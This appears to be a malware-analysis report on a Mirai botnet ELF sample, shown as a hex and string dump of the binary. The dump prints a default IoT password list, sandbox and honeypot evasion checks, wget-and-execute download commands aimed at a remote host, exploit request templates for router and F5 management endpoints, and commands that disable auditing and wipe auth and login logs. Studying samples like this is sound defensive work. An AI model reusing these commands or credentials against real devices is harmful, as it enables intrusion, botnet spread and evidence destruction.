1dcf09adf495784a56e92caca44c37c21ea6aed4ff6a86bf1ea5952188d852b1.elf
Mirai botnet malware
Static IoT bot with HTTP C2 and host fingerprintingHidden cron persistence with self-restarting payload
SHA-2561dcf09adf495784a56e92caca44c37c21ea6aed4ff6a86bf1ea5952188d852b1
Evidence
0xca01e00000000808000008000ffff7fffffff................
0xca02e7f7f0000803f0000c07f0000807f0000.....?..........
0xca03e80ff000040402f6465762f6b6d656d00....@@/dev/kmem.
0xca04e2f6465762f6d656d0025303478002f72/dev/mem.%04x./r
0xca05e6f6f742f7368656d2f74617267657473oot/shem/targets
0xca06e5f6164622e7478740066616c636f6e64_adb.txt.falcond
0xca07e002f70726f63002f70726f632f25732f./proc./proc/%s/
0xca08e636d646c696e65002f70726f632f7379cmdline./proc/sy
0xca09e732f71656d755f76657273696f6e002fs/qemu_version./
0xca0ae70726f632f73656c662f6d617073006cproc/self/maps.l
0xca0be6962632e736f2e362d71656d75002f73ibc.so.6-qemu./s
⋯3 more rows
0xca0fe7379732f636c6173732f6e65742f2573sys/class/net/%s
0xca10e2f616464726573730030303a30633a32/address.00:0c:2
0xca11e390030303a35303a35360030383a30309.00:50:56.08:00
0xca12e3a32370035323a35343a30300030303a:27.52:54:00.00:
0xca13e31353a35640076626f7800766d2d006815:5d.vbox.vm-.h
0xca14e6f6e6579006d616c7761726500616e61oney.malware.ana
0xca15e6c797369730076616772616e74007465lysis.vagrant.te
0xca16e73742d006a6f65686f737400616e7562st-.joehost.anub
0xca17e6973002f6f70742f64696f6e61656100is./opt/dionaea.
0xca18e2f7661722f64696f6e616561002f6574/var/dionaea./et
0xca19e632f64696f6e616561002f6f70742f63c/dionaea./opt/c
0xca1ae6f77726965002f6574632f636f777269owrie./etc/cowri
0xca1be65002f6f70742f6b6970706f002f6f70e./opt/kippo./op
0xca1ce742f6375636b6f6f002f6f70742f4341t/cuckoo./opt/CA
0xca1de50457632002f6f70742f74687567002fPEv2./opt/thug./
0xca1ee6574632f686f6e657964002f7573722fetc/honeyd./usr/
0xca1fe62696e2f696e74657261637473682d63bin/interactsh-c
0xca20e6c69656e74002f7661722f6c6f672f63lient./var/log/c
0xca21e6f77726965002f7661722f6c6f672f64owrie./var/log/d
0xca22e696f6e616561002f70726f632f757074ionaea./proc/upt
0xca23e696d6500256c66002f746d702f74656dime.%lf./tmp/tem
0xca24e70696e66696e002f746d702f64726f7apinfin./tmp/droz
0xca25e65002f746d702f2e6475707574002f76e./tmp/.duput./v
0xca26e61722f746d702f2e7265737e002f2e58ar/tmp/.res~./.X
0xca27e3131005669727475616c426f7800514511.VirtualBox.QE
0xca28e4d5500564d7761726500566972747561MU.VMware.Virtua
0xca29e6c205043002f7379732f636c6173732fl PC./sys/class/
0xca2ae646d692f69642f7379735f76656e646fdmi/id/sys_vendo
0xca2be7200696e6e6f74656b20476d6248004dr.innotek GmbH.M
0xca2ce6963726f736f667420436f72706f7261icrosoft Corpora
0xca2de74696f6e00696e6e6f74656b002f7379tion.innotek./sy
0xca2ee732f636c6173732f646d692f69642f62s/class/dmi/id/b
0xca2fe696f735f76656e646f72002f70726f63ios_vendor./proc
0xca30e2f637075696e666f0048797065727669/cpuinfo.Hypervi
⋯3 more rows
0xca82567656172006173757300747230363400gear.asus.tr064.
0xca83572656469730074706c696e6b0074656eredis.tplink.ten
0xca8456461007468696e6b706870006c696c69da.thinkphp.lili
⋯4 more rows
0xca89565002f766172006b6176737663005348e./var.kavsvc.SH
0xca8a5454d5f4c41420025732f2e7a00706b69EM_LAB.%s/.z.pki
0xca8b56c6c202d39202d7820257320323e2f64ll -9 -x %s 2>/d
0xca8c565762f6e756c6c2026002f746d702f6dev/null &./tmp/m
0xca8d569726169002f746d702f676166677974irai./tmp/gafgyt
0xca8e5002f746d702f626173686c697465002f./tmp/bashlite./
0xca8f56465762f7761746368646f670056002fdev/watchdog.V./
0xca9056465762f6d6973632f7761746368646fdev/misc/watchdo
0xca91567005348454d5f4e4f4d415351005348g.SHEM_NOMASQ.SH
0xca925454d5f52414d5f4d42002f726f6f742fEM_RAM_MB./root/
⋯13 more rows
0xcaa05620025733a3830383000256c64005a43b.%s:8080.%ld.ZC
0xcaa1552312025730a0072656c617900313237R1 %s..relay.127
0xcaa252e302e302e3100646972656374005a42.0.0.1.direct.ZB
0xcaa354f542025732025730a00594f55524950OT %s %s..YOURIP
0xcaa452000253633730025733a256400544754 .%63s.%s:%d.TGT
0xcaa5553200050494e4700504f4e470053544fS .PING.PONG.STO
0xcaa65505343414e0050524f58594f4e005052PSCAN.PROXYON.PR
⋯8 more rows
⋯3 more rows
0xcafed6c616970730073656e73656461746100laips.sensedata.
0xcaffd736f70686f73007361767363616e6e65sophos.savscanne
0xcb00d72007274767363616e0073796d616e74r.rtvscan.symant
⋯10 more rows
0xcb0bd666673002f7277002f64617461002f6dffs./rw./data./m
0xcb0cd6e74003132392e362e31352e32380031nt.129.6.15.28.1
0xcb0dd32392e362e31352e3239003136322e3129.6.15.29.162.1
0xcb0ed35392e3230302e31003231362e32333959.200.1.216.239
0xcb0fd2e33352e3000382e382e382e3800382e.35.0.8.8.8.8.8.
0xcb10d382e342e3400392e392e392e3900312e8.4.4.9.9.9.9.1.
0xcb11d312e312e31003230382e36372e3232321.1.1.208.67.222
0xcb12d2e323232007863333531310031323334.222.xc3511.1234
0xcb13d35360070617373776f7264003838383856.password.8888
0xcb14d3838003131313131310035757000616c88.111111.5up.al
0xcb15d70696e6500647265616d626f78004465pine.dreambox.De
0xcb16d6661756c7400616265726465656e0061fault.aberdeen.a
0xcb17d646d696e310037756a4d6b6f3061646ddmin1.7ujMko0adm
0xcb18d696e00313233342e636f6d00736d6361in.1234.com.smca
0xcb19d646d696e0037756a4d6b6f3076697a78dmin.7ujMko0vizx
0xcb1ad760048494b564953494f4e0039393939v.HIKVISION.9999
0xcb1bd00313233343500636973636f00717364.12345.cisco.qsd
0xcb1cd6600706673656e7365007175656e7469f.pfsense.quenti
0xcb1dd6e0061646d696e31323334006c657476n.admin1234.letv
0xcb1ed00737570706f7274007473676f213234.support.tsgo!24
⋯5 more rows
0xcb24d31006b6c76313233007a68697869616e1.klv123.zhixian
0xcb25d006a75616e746563680066697265666f.juantech.firefo
0xcb27d736d00616e737765720073796e6f6c6fsm.answer.synolo
0xcb28d677900636973636f31323300786d6864gy.cisco123.xmhd
0xcb29d697063006a75766163616d006c696e75ipc.juvacam.linu
0xcb2ad78313233007765637432303038007874x123.wect2008.xt
⋯3 more rows
0xcdf3e3e3d20310025752e25752e25752e2575>= 1.%u.%u.%u.%u
0xcdf4e2e696e2d616464722e61727061006970.in-addr.arpa.ip
0xcdf5e362e6172706100302e302e302e25752e6.arpa.0.0.0.%u.
0xcdf6e696e2d616464722e6172706100302e30in-addr.arpa.0.0
0xcdf7e2e25752e25752e696e2d616464722e61.%u.%u.in-addr.a
0xcdf8e72706100302e25752e25752e25752e69rpa.0.%u.%u.%u.i
0xcdf9e6e2d616464722e6172706100484f5354n-addr.arpa.HOST
0xcdfae414c4941534553007265735f71756572ALIASES.res_quer
⋯8 more rows
0xce03e707468726561645f6d757465785f6c6fpthread_mutex_lo
0xce04e636b2e630000000000002f7379732f63ck.c....../sys/c
0xce05e6c6173732f646d692f69642f70726f64lass/dmi/id/prod
0xce06e7563745f6e616d650000000000000000uct_name........
0xce07e00002f7379732f636c6173732f646d69../sys/class/dmi
0xce08e2f69642f626f6172645f76656e646f72/id/board_vendor
0xce09e00007767657420687474703a2f2f2573..wget http://%s
0xce0ae2f626f742e2428756e616d65202d6d29/bot.$(uname -m)
0xce0be202d4f202f746d702f2e7a20323e2f64 -O /tmp/.z 2>/d
0xce0ce65762f6e756c6c3b63686d6f64203735ev/null;chmod 75
0xce0de35202f746d702f2e7a3b2f746d702f2e5 /tmp/.z;/tmp/.
0xce0ee7a20257320260000000077676574202dz %s &....wget -
0xce0fe7120687474703a2f2f25733a38303830q http://%s:8080
0xce10e2f626f742e2573202d4f202f746d702f/bot.%s -O /tmp/
0xce11e2e707a00000000000000485454502f31.pz.......HTTP/1
0xce12e2e3020323030204f4b0d0a436f6e7465.0 200 OK..Conte
0xce13e6e742d4c656e6774683a20256c640d0ant-Length: %ld..
0xce14e0d0a00000000000000007b22636f6d6d..........{"comm
0xce15e616e64223a2272756e222c227574696cand":"run","util
0xce16e436d6441726773223a222d6320277767CmdArgs":"-c 'wg
0xce17e6574202d7120687474703a2f2f25732fet -q http://%s/
0xce18e626f742e2428756e616d65202d6d2920bot.$(uname -m)
0xce19e2d4f202f746d702f2e7a3b63686d6f64-O /tmp/.z;chmod
0xce1ae202b78202f746d702f2e7a3b2f746d70 +x /tmp/.z;/tmp
0xce1be2f2e7a20257320257327227d00000000/.z %s %s'"}....
0xce1ce0000504f5354202f6d676d742f746d2f..POST /mgmt/tm/
0xce1de7574696c2f6261736820485454502f31util/bash HTTP/1
0xce1ee2e310d0a486f73743a2025730d0a4175.1..Host: %s..Au
0xce1fe74686f72697a6174696f6e3a20426173thorization: Bas
⋯5 more rows
0xd0bc87a202573202573293b00000000000000z %s %s);.......
0xd0bd8504f5354202f676f666f726d2f736574POST /goform/set
0xd0be8557362556e6c6f616420485454502f31UsbUnload HTTP/1
0xd0bf82e310d0a486f73743a2025730d0a436f.1..Host: %s..Co
0xd0c086e74656e742d547970653a206170706cntent-Type: appl
0xd0c1869636174696f6e2f782d7777772d666fication/x-www-fo
0xd0c28726d2d75726c656e636f6465640d0a43rm-urlencoded..C
0xd0c386f6e74656e742d4c656e6774683a2025ontent-Length: %
0xd0c48640d0a436f6e6e656374696f6e3a2063d..Connection: c
0xd0c586c6f73650d0a0d0a2573000000000000lose....%s......
⋯11 more rows
0xd0d18697265642061742025733a2564202573ired at %s:%d %s
0xd0d280a000000000000006370202f70726f63........cp /proc
0xd0d382f73656c662f65786520257320323e2f/self/exe %s 2>/
0xd0d486465762f6e756c6c2026262063686d6fdev/null && chmo
0xd0d5864202b7820257320323e2f6465762f6ed +x %s 2>/dev/n
0xd0d68756c6c0000000000706b696c6c202d39ull.....pkill -9
0xd0d78202d66205b25635d257320323e2f6465 -f [%c]%s 2>/de
0xd0d88762f6e756c6c20260000000000000000v/null &........
0xd0d98617564697463746c202d65203020323eauditctl -e 0 2>
0xd0da82f6465762f6e756c6c2026706b696c6c/dev/null &pkill
0xd0db8202d39205b615d756469746420323e2f -9 [a]uditd 2>/
0xd0dc86465762f6e756c6c2026706b696c6c20dev/null &pkill
⋯3 more rows
0xd0e08323e2f6465762f6e756c6c20260000002>/dev/null &...
0xd0e187472756e63617465202d732030202f76truncate -s 0 /v
0xd0e2861722f6c6f672f617574682a202f7661ar/log/auth* /va
0xd0e38722f6c6f672f736563757265202f7661r/log/secure /va
0xd0e48722f6c6f672f77746d70202f7661722fr/log/wtmp /var/
0xd0e586c6f672f6c6173746c6f6720323e2f64log/lastlog 2>/d
0xd0e6865762f6e756c6c202600000000000000ev/null &.......